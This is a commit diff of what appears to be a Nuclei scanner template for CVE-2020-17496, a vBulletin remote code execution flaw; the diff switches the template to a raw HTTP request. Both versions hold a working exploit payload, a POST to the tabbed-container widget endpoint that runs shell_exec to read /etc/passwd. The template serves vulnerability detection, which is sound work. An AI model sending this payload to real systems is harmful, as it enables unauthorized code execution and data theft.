Update CVE-2020-17496.yaml

patch-1
pussycat0x 2021-02-25 02:24:26 +05:30 committed by GitHub
parent 40f751fa4d
commit 73c5f9e8cd
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 7 additions and 5 deletions

View File

@ -6,11 +6,13 @@ info:
reference: https://www.tenable.com/blog/zero-day-remote-code-execution-vulnerability-in-vbulletin-disclosed
tags: cve,cve2020,vbulletin
requests:
-method: POST
path:
-"{{BaseURL}}/ajax/render/widget_tabbedcontainer_tab_panel"
body: |
subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo shell_exec('cat ../../../../../../../../../../../../etc/passwd'); exit;
- raw:
- |
POST /ajax/render/widget_tabbedcontainer_tab_panel HTTP/1.1
Host: {{Hostname}}
subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo shell_exec('cat ../../../../../../../../../../../../etc/passwd'); exit;
matchers-condition: and
matchers:
-type: regex